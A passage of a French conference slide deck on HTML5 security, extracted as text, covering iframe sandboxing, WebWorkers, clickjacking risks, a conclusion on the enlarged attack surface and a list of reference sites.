  • 127. Bac  a  sable  des  iframes <iframe sandbox="....." src="http://monsite.com/index.html"></iframe> • Par  défaut  si  rien  n’est  précisé  :   • Les  formulaires,  scripts  et  plug-­‐ins  sont  désac>vés. • Pas  d’accès  aux  éléments  stockés  en  local   (cookies,  sessionStorage,  localStorage). • Pas  d’AJAX   • Les  liens  ne  peuvent  cibler  d’autres  frames • Le  contenu  est  considéré  externe  (pas  d’accès  à  la   DOM) vous  saviez  que  les  bacs  a  sables  sont  remplacés  par  des  bacs  à  gravier  maintenant  ?   30 Friday, April 5, 13
  • 128. Bac  a  sable  des  iframes • Lever  les  restric>ons  :   • allow-­‐same-­‐origin  :  autorise  le  contenu  a  être  traité   comme  de  la  même  origine  est  pas  externe • allow-­‐top-­‐naviga>on  :  l’iframe  peut  accéder  à  la   naviga>on  de  niveau  supérieur • allow-­‐forms  :  autorise  les  formulaires • allow-­‐  scripts  :  les  scripts  (hors  popup)  sont  autorisés Les  navigateurs  ne  supportent  pas  tous  ces  éléments  ! tout  cela  pour  l’hygiène  alors  qu’on  nous  fais  passer  du  cheval  pour  du  boeuf  !   31 Friday, April 5, 13
  • 129. Autres  points  importants • Les  longs  traitements  en  JavaScript  “plantaient”  les  navigateurs.   • Les  WebWorkers  perme;ent  de  lancer  des  JavaScript  en  tache   de  fond – N’accèdent  pas  à  la  DOM   – Accèdent  à  XHR,  objet  navigator,  cache,  lancement  d’autres   WebWorkers... DDOS  avec  CORS  &  WebWorkers Calculs  distribués  (cf  Ravan) Bientot  la  fin 32 Friday, April 5, 13
  • 130. Autres  points  importants • Les  longs  traitements  en  JavaScript  “plantaient”  les  navigateurs.   • Les  WebWorkers  perme;ent  de  lancer  des  JavaScript  en  tache   de  fond – N’accèdent  pas  à  la  DOM   – Accèdent  à  XHR,  objet  navigator,  cache,  lancement  d’autres   WebWorkers... DDOS  avec  CORS  &  WebWorkers Calculs  distribués  (cf  Ravan) Bientot  la  fin 32 Friday, April 5, 13
  • 131. Autres  Points  importants • CSS3  introduit  de  nouvelles  capacités  à  injecter   du  code  JavaScript Nouvelles  capacités  au  ClickJacking ou  facebook  jacking  ou  autre  jacking.... 33 Friday, April 5, 13
  • 132. Conclusion • Plein  de  nouvelles  API  interessantes  pour  le   développeur(et  les  agences  Webs) L’ouverture  se  fait  au  détriment  de  la  sécurité....(même  si  un   accent  supplémentaire  a  été  mis  dessus  dans  les  Specs) Une  surface  d’a;aque  accrue  (CORS,  Web/Storage|Socket| Workers) La  belle  part  au  JavaScript  (qui  peut  s’executer  sans   consentement  u>lisateur) non,  non,  je  ne  fais  pas  que  >rer  sur  les  agences  Web... 34 Friday, April 5, 13
  • 133. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35 Friday, April 5, 13
  • 134. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35 Friday, April 5, 13
  • 135. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35 Friday, April 5, 13
  • 136. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35 Friday, April 5, 13
  • 137. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35 Friday, April 5, 13
  • 138. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35 Friday, April 5, 13
  • 139. ww.html5test.com étonnant  le  cas  du  Blackberry  non  ?   35 Friday, April 5, 13
  • 140. Quelques  Sites  a  suivre.. • h;p://www.w3.org/TR/html5/  :  le  standard • h;ps://www.owasp.org/index.php/ HTML5_Security_Cheat_Sheet   • h;p://www.caniuse.com  :  liste  des  différents  supports  d’API   par  navigateur • h;p://www.html5test.com  :  le  support  de  VOTRE   navigateur  vis  a  vis  de  la  norme. • h;p://html5readiness.com/  :  L’état  du  support  des  APis  par   les  navigateurs Bon  ben  voila,  c’est  la  fin,  merci  d’être  encore  présent  ;) 36 Friday, April 5, 13
  • 141. @SPoint sebas>en.gioria@owasp.org Friday, April 5, 13
  • 142. @SPoint sebas>en.gioria@owasp.org Il n'y a qu'une façon d'échouer, c'est d'abandonner avant d'avoir réussi [Olivier Lockert] Friday, April 5, 13